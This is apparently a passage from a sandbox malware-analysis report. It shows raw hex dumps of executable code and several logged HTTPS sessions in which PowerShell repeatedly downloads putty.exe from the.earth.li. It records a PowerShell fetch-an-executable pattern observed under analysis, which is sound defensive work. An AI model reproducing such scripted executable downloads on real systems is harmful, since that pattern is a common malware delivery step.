c6 fc 85 c0 74 16
                                                                                                                                                  Data Ascii: SL$At\$8\uA[1[WVjj j3pGCGG@CGGjjhGG^_WVjj jpGCGG@CGGjjhGG^_Vt$t
                                                                                                                                                  2022-12-04 11:11:47 UTC1829INData Raw: 24 00 00 00 00 83 7e 24 00 0f 85 e1 fb ff ff 8b 44 24 0c 89 28 c7 45 00 00 00 00 00 56 e8 9f db ff ff 83 c4 04 e9 c6 fb ff ff 90 90 90 90 90 90 90 8b 44 8f 08 83 78 28 00 74 40 89 c2 90 90 90 90 89 d1 8b 52 04 85 d2 75 f7 8b 49 24 8b 54 24 08 89 4c 97 24 31 d2 89 c6 e9 cd fa ff ff 90 90 90 8b 48 28 85 c9 0f 85 b0 fa ff ff 8b 48 24 e9 a8 fa ff ff 31 c9 e9 06 01 00 00 8b 4c 8f 24 89 4e 28 8b 48 04 89 4e 0c 8b 50 14 89 56 1c 85 c9 74 02 89 31 8b 48 24 89 4e 2c 8b 48 08 89 4e 10 8b 50 18 89 56 20 85 c9 74 02 89 31 50 e8 0f db ff ff 83 c4 04 8b 46 18 03 46 14 03 46 1c 03 46 20 83 7e 24 01 83 d8 ff 83 7e 28 01 83 d8 ff 83 7e 2c 01 83 d8 ff 8b 54 24 08 89 44 97 14 83 fa 01 7f 45 89 d0 90 90 90 90 90 90 90 90 90 90 90 90 8b 4c 87 28 85 c9 74 23 89 4c 87 24 8b 4c
                                                                                                                                                  Data Ascii: $~$D$(EVDx(t@RuI$T$L$1H(H$1L$N(HNPVt1H$N,HNPV t1PFFFF ~$~(~,T$DEL(t#L$L
                                                                                                                                                  2022-12-04 11:11:47 UTC1837INData Raw: 90 8d 5a fd 81 e3 fc 00 00 00 66 3b 8c 5d 0c 04 00 00 74 ad 8d 5a fe 81 e3 fd 00 00 00 66 3b 8c 5d 0c 04 00 00 74 9a 8d 5a ff 81 e3 fe 00 00 00 66 3b 8c 5d 0c 04 00 00 74 87 0f b6 da 66 3b 8c 5d 0c 04 00 00 0f 84 76 ff ff ff 83 c2 04 81 fa 23 01 00 00 75 ab e9 70 ff ff ff 31 c0 8b 34 24 eb 28 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 81 cf 00 dd 00 00 66 89 7c 45 0c 83 c0 01 3d 00 01 00 00 0f 84 21 01 00 00 0f b7 4c 45 0c 89 ca 81 e2 00 fe 00 00 81 fa 00 dc 00 00 74 dd ba 23 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 8d 7a fd 81 e7 fc 00 00 00 66 3b 8c 7d 0c 04 00 00 74 ad 8d 7a fe 81 e7 fd 00 00 00 66 3b 8c 7d 0c 04 00 00 74 9a 8d 7a ff 81 e7 fe 00 00 00 66 3b 8c 7d 0c 04 00 00 74 87 0f b6 fa 66 3b 8c 7d 0c 04 00 00 0f 84 76 ff ff ff 83 c2 04 81
                                                                                                                                                  Data Ascii: Zf;]tZf;]tZf;]tf;]v#up14$(f|E=!LEt#zf;}tzf;}tzf;}tf;}v
                                                                                                                                                  2022-12-04 11:11:47 UTC1845INData Raw: 90 83 c7 01 89 fa 39 d6 7c 27 8d 1c 16 89 df c1 ef 1f 01 df d1 ff 39 0c fd 1c 24 4d 00 72 e2 39 0c fd 18 24 4d 00 76 5b 83 c7 ff 89 fe 39 d6 7d d9 8d 91 02 00 fc ff 81 fa 02 11 fc ff 72 46 be 78 00 00 00 31 d2 eb 12 90 90 90 90 90 90 90 90 90 83 c7 01 89 fa 39 d6 7c 2b 8d 1c 16 89 df c1 ef 1f 01 df d1 ff 39 0c fd fc 2e 4d 00 72 e2 39 0c fd f8 2e 4d 00 76 11 83 c7 ff 89 fe 39 d6 7d d9 eb 02 31 c0 5e 5f 5b c3 b8 02 00 00 00 eb f5 cc 53 57 56 8b 4c 24 10 81 f9 a1 00 00 00 73 0b 85 c9 75 13 31 c0 e9 14 01 00 00 81 f9 fd ff 10 00 0f 86 bc 00 00 00 b8 ff ff ff ff 83 f9 20 0f 82 fa 00 00 00 8d 51 81 83 fa 21 0f 82 ee 00 00 00 8d 91 10 fe f1 ff b8 01 00 00 00 81 fa 10 01 f2 ff 0f 82 d7 00 00 00 be 5b 01 00 00 31 d2 eb 09 83 c7 01 89 fa 39 d6 7c 27 8d 1c 16 89 df
                                                                                                                                                  Data Ascii: 9|'9$Mr9$Mv[9}rFx19|+9.Mr9.Mv9}1^_[SWVL$su1 Q![19|'
                                                                                                                                                  2022-12-04 11:11:47 UTC1853INData Raw: 00 00 8b 84 24 a0 03 00 00 50 68 40 f8 43 00 68 57 34 4e 00 6a 65 68 44 39 4e 00 56 e8 e0 7f 00 00 83 c4 18 6a 54 e8 56 6e 00 00 83 c4 04 89 84 24 9c 03 00 00 8b 84 24 9c 03 00 00 50 68 40 f8 43 00 68 49 5f 4e 00 6a 62 68 d3 af 4e 00 56 e8 ad 7f 00 00 83 c4 18 6a 55 e8 23 6e 00 00 83 c4 04 89 84 24 98 03 00 00 8b 84 24 98 03 00 00 50 68 40 f8 43 00 68 07 ec 4d 00 6a 72 68 3a 22 4e 00 56 e8 7a 7f 00 00 83 c4 18 68 8e 00 00 00 e8 ed 6d 00 00 83 c4 04 89 84 24 94 03 00 00 8b 84 24 94 03 00 00 50 68 40 f8 43 00 68 d9 41 4e 00 6a 6c 68 f1 41 4e 00 56 e8 44 7f 00 00 83 c4 18 68 8f 00 00 00 e8 b7 6d 00 00 83 c4 04 89 84 24 90 03 00 00 8b 84 24 90 03 00 00 50 68 40 f8 43 00 68 70 3a 4e 00 6a 64 68 6e dc 4d 00 56 e8 0e 7f 00 00 83 c4 18 ff 35 7c 77 4c 00 68 c2 de
                                                                                                                                                  Data Ascii: $Ph@ChW4NjehD9NVjTVn$$Ph@ChI_NjbhNVjU#n$$Ph@ChMjrh:"NVzhm$$Ph@ChANjlhANVDhm$$Ph@Chp:NjdhnMV5|wLh
                                                                                                                                                  2022-12-04 11:11:47 UTC1861INData Raw: f1 4d 00 8b ac 24 4c 05 00 00 55 e8 c1 53 00 00 83 c4 10 89 c6 6a 00 e8 25 4f 00 00 83 c4 04 89 84 24 88 01 00 00 8b 84 24 88 01 00 00 50 68 c0 63 44 00 68 35 e7 4d 00 6a 00 68 7f 03 4e 00 56 e8 bc 5a 00 00 83 c4 18 83 ff ff 0f 84 95 0a 00 00 83 ff 01 0f 84 8c 0a 00 00 e9 d2 01 00 00 68 bb 20 4e 00 68 e0 f0 4d 00 68 45 f1 4d 00 8b ac 24 4c 05 00 00 55 e8 56 53 00 00 83 c4 10 89 c6 6a 19 6a 4b 6a 02 50 e8 e5 55 00 00 83 c4 10 68 ca f0 4d 00 68 85 b5 4e 00 56 e8 82 5f 00 00 83 c4 0c c7 40 0c 00 00 00 00 6a 10 55 e8 40 55 00 00 83 c4 08 89 c7 50 e8 85 4e 00 00 83 c4 04 89 84 24 9c 01 00 00 8b 84 24 9c 01 00 00 50 68 20 62 44 00 68 ca f0 4d 00 6a 72 68 a7 48 4e 00 56 e8 1c 5a 00 00 83 c4 18 89 47 04 c7 40 0c 01 00 00 00 8b 47 04 c6 40 08 01 57 e8 42 4e 00 00
                                                                                                                                                  Data Ascii: M$LUSj%O$$PhcDh5MjhNVZh NhMhEM$LUVSjjKjPUhMhNV_@jU@UPN$$Ph bDhMjrhHNVZG@G@WBN
                                                                                                                                                  2022-12-04 11:11:47 UTC1869INData Raw: 8b 7f 2c 85 ff 0f 8e 28 01 00 00 8b 4d 38 f7 df 31 d2 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 3b 04 91 0f 84 fb 00 00 00 8d 34 17 83 fe ff 0f 84 ef 00 00 00 83 c2 01 89 fe 01 d6 75 e2 e9 ef 00 00 00 39 7b 0c 0f 85 ea 00 00 00 ff 74 24 24 57 e8 4a e1 fd ff 83 c4 08 85 c0 0f 88 d5 00 00 00 50 8b 74 24 28 56 57 e8 93 e0 fd ff 83 c4 0c 89 c7 8b 43 08 8b 48 2c 83 c1 ff 51 56 50 e8 1d da fd ff 83 c4 0c 3b 3c 24 0f 84 a7 00 00 00 57 6a 02 55 e8 38 29 ff ff 83 c4 0c ff 34 24 e8 4d 91 fe ff 83 c4 04 89 c6 57 e8 42 91 fe ff 83 c4 04 89 c7 85 f6 75 17 68 8b 01 00 00 68 e4 4c 4f 00 68 90 18 4f 00 e8 c8 81 06 00 83 c4 0c 85 ff 75 17 68 8c 01 00 00 68 e4 4c 4f 00 68 8c 16 4f 00 e8 ad 81 06 00 83 c4 0c 6a 01 55 e8 1f 22 ff ff 83 c4 08 3b 46 54 75 0e ff 77 54 6a 01
                                                                                                                                                  Data Ascii: ,(M81;4u9{t$$WJPt$(VWCH,QVP;<$WjU8)4$MWBuhhLOhOuhhLOhOjU";FTuwTj
                                                                                                                                                  2022-12-04 11:11:47 UTC1876INData Raw: ff ff 31 f6 eb 1b 31 c0 8b 5c 24 1c 50 55 57 e8 dd c3 fd ff 83 c4 0c 55 57 e8 53 c9 fd ff 83 c4 08 56 6a 43 53 e8 67 0a ff ff 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 53 57 56 8b 44 24 20 8b 5c 24 1c 8b 6c 24 18 8b 7c 24 14 83 f8 03 0f 84 aa 00 00 00 85 c0 0f 85 3d 01 00 00 89 d8 8b 5f 14 6a 44 50 e8 5e 03 ff ff 83 c4 08 89 c6 55 57 e8 82 c8 fd ff 83 c4 08 55 57 e8 f8 be fd ff 83 c4 08 f6 c3 01 0f 85 90 00 00 00 f6 c3 02 0f 85 a1 00 00 00 f6 c3 04 0f 85 b2 00 00 00 f6 c3 08 74 11 6a 03 68 0a 86 4e 00 55 57 e8 27 c0 fd ff 83 c4 10 31 c0 f6 c3 01 74 0d b8 01 00 00 00 85 f6 0f 84 ab 00 00 00 f6 c3 02 74 0c 83 fe 01 0f 84 9f 00 00 00 83 c0 01 f6 c3 04 74 0c 83 fe 02 0f 84 8e 00 00 00 83 c0 01 c0 eb 03 83 fe 03 0f 94 c1 31 d2 84
                                                                                                                                                  Data Ascii: 11\$PUWUWSVjCSg^_[]USWVD$ \$l$|$=_jDP^UWUWtjhNUW'1ttt1
                                                                                                                                                  2022-12-04 11:11:47 UTC1884INData Raw: 14 c7 46 04 00 00 00 00 c7 46 20 00 00 00 00 85 ff 74 0b 57 e8 88 57 ff ff 83 c4 04 eb 02 31 c0 89 46 04 8a 44 24 1c 88 46 24 c7 46 28 05 00 00 00 c6 46 2c 01 c7 46 30 00 00 00 00 c7 46 34 64 00 00 00 c7 46 38 00 00 00 00 c7 46 3c 00 00 00 00 c6 46 40 00 89 f0 5e 5f 5b 5d c3 cc cc cc cc cc 55 53 57 56 8b 7c 24 18 8b 5c 24 14 8b 6c 24 34 6a 00 6a 44 6a 01 e8 f5 ff fe ff 83 c4 0c 89 c6 8d 43 14 6a 00 6a 01 ff 73 10 6a 04 50 ff 73 18 e8 7b 00 ff ff 83 c4 18 89 43 18 8b 4b 10 8d 51 01 89 53 10 89 34 88 c7 06 07 00 00 00 c6 46 08 00 8b 43 0c c1 e0 10 05 00 00 ff ff 89 46 0c 8b 44 24 2c 89 46 1c 8b 44 24 30 89 46 10 89 6e 14 c7 46 04 00 00 00 00 c7 46 20 00 00 00 00 85 ff 74 0b 57 e8 b8 56 ff ff 83 c4 04 eb 02 31 c0 89 46 04 8a 44 24 1c 88 46 24 8b 44 24 20 89
                                                                                                                                                  Data Ascii: FF tWW1FD$F$F(F,F0F4dF8F<F@^_[]USWV|$\$l$4jjDjCjjsjPs{CKQS4FCFD$,FD$0FnFF tWV1FD$F$D$
                                                                                                                                                  2022-12-04 11:11:47 UTC1892INData Raw: 00 89 d9 ba 01 00 00 00 e8 04 02 00 00 89 06 85 c0 74 35 8d 54 24 1c 8b 4c 24 18 89 f3 81 c3 4c 40 00 00 40 bf 01 00 00 00 0f 44 c7 89 45 f4 8b 02 53 50 ff d1 83 c4 08 89 46 04 8b 08 50 ff 51 18 83 c4 04 85 c0 74 0e 56 e8 73 e1 fe ff 83 c4 04 e9 50 01 00 00 8b 46 04 8b 08 6a 00 50 ff 51 14 83 c4 08 8b 46 08 56 ff 70 08 e8 01 f3 fe ff 83 c4 08 c6 46 10 00 83 7d fc 00 74 40 8b 46 08 6a 00 68 ba 11 4f 00 ff 70 14 68 ab e3 4e 00 e8 4d d4 fe ff 83 c4 10 89 c7 50 e8 f2 62 06 00 83 c4 04 8b 4e 04 8b 11 50 57 51 ff 52 08 83 c4 0c 57 e8 0b e1 fe ff 83 c4 04 c6 46 10 01 c6 46 11 00 c7 86 28 40 00 00 00 00 00 00 c7 46 0c 00 00 00 00 68 d0 04 42 00 e8 f5 f1 fe ff 83 c4 04 89 86 2c 40 00 00 68 b0 61 40 00 e8 e2 f1 fe ff 83 c4 04 89 86 30 40 00 00 68 60 b2 44 00 e8 cf
                                                                                                                                                  Data Ascii: t5T$L$L@@DESPFPQtVsPFjPQFVpF}t@FjhOphNMPbNPWQRWFF(@FhB,@ha@0@h`D
                                                                                                                                                  2022-12-04 11:11:47 UTC1900INData Raw: 04 12 83 c0 ff 50 56 e8 15 df fe ff 83 c4 08 8b 04 24 85 c0 75 db be 00 01 00 00 03 74 24 04 8b 4c 24 1c 31 e1 e8 a7 0d 05 00 89 f0 83 c4 20 5e 5f 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 57 56 8b 5c 24 18 8b 7c 24 14 8b 74 24 10 83 7e 08 00 74 0e 8d 46 0c 6a 2c 50 e8 d0 b9 fe ff 83 c4 08 83 c6 0c 53 57 56 e8 42 b9 fe ff 83 c4 0c 5e 5f 5b c3 cc cc cc cc cc cc cc cc cc cc cc 53 57 56 8b 5c 24 14 8b 7c 24 10 53 e8 bf 43 06 00 83 c4 04 89 c6 83 7f 08 00 74 0e 8d 47 0c 6a 2c 50 e8 89 b9 fe ff 83 c4 08 83 c7 0c 56 53 57 e8 fb b8 fe ff 83 c4 0c 5e 5f 5b c3 cc cc cc cc 55 53 57 56 8b 74 24 14 8b 46 04 31 db 85 c0 0f 84 82 00 00 00 8b 3e b9 ff ff ff ff 90 90 90 90 80 3c 1f 2c 75 1c 8d 14 1f 83 c2 01 89 16 8d 14 08 89 56 04 83 c3 01 83 c1 ff 39 d8 75 e2
                                                                                                                                                  Data Ascii: PV$ut$L$1 ^_[SWV\$|$t$~tFj,PSWVB^_[SWV\$|$SCtGj,PVSW^_[USWVt$F1><,uV9u
                                                                                                                                                  2022-12-04 11:11:47 UTC1908INData Raw: 83 c4 04 c3 31 c0 c3 cc cc cc cc cc cc cc cc cc cc 8b 44 24 04 8b 80 7c ff ff ff 8b 08 ff 74 24 18 ff 74 24 18 ff 74 24 18 ff 74 24 18 ff 74 24 18 50 ff 11 83 c4 18 c3 cc cc cc cc cc cc cc cc cc 53 57 56 8b 74 24 10 8b 46 d4 85 c0 74 10 8b 08 50 ff 51 08 83 c4 04 c7 46 d4 00 00 00 00 8b 5c 24 18 8b 7c 24 14 83 7e f8 00 74 19 ff 76 f0 e8 4c 6a 01 00 83 c4 04 c7 46 f0 00 00 00 00 c7 46 f8 00 00 00 00 8b 86 7c ff ff ff 8b 08 53 57 50 ff 51 04 83 c4 0c 5e 5f 5b c3 cc cc cc cc cc cc 56 8b 4c 24 14 8b 44 24 10 8b 54 24 08 83 7a d4 00 74 1c 8d b2 74 ff ff ff 83 c2 bc 51 50 52 e8 1c fa fe ff 83 c4 0c 89 f1 5e e9 91 f9 ff ff 8b 92 7c ff ff ff 8b 32 51 50 ff 74 24 14 52 ff 56 08 83 c4 10 5e c3 cc cc cc cc cc cc cc cc cc cc 8b 44 24 04 83 78 d4 00 74 01 c3 8b 80 7c
                                                                                                                                                  Data Ascii: 1D$|t$t$t$t$t$PSWVt$FtPQF\$|$~tvLjFF|SWPQ^_[VL$D$T$zttQPR^|2QPt$RV^D$xt|


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  38192.168.2.34975393.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:12:23 UTC1915OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:12:23 UTC1916INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:12:23 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:12:23 UTC1916INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  39192.168.2.34975493.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:12:23 UTC1916OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:12:23 UTC1916INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:12:23 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:12:23 UTC1917INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  4192.168.2.34970493.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:06:12 UTC1452OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:06:12 UTC1452INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:06:12 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:06:12 UTC1453INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  40192.168.2.34975593.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:12:59 UTC1924OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:12:59 UTC1924INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:12:59 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:12:59 UTC1925INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  41192.168.2.34975693.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:13:00 UTC1925OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:13:00 UTC1925INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:13:00 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:13:00 UTC1925INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  42192.168.2.34975793.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:13:34 UTC1933OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:13:34 UTC1933INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:13:34 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
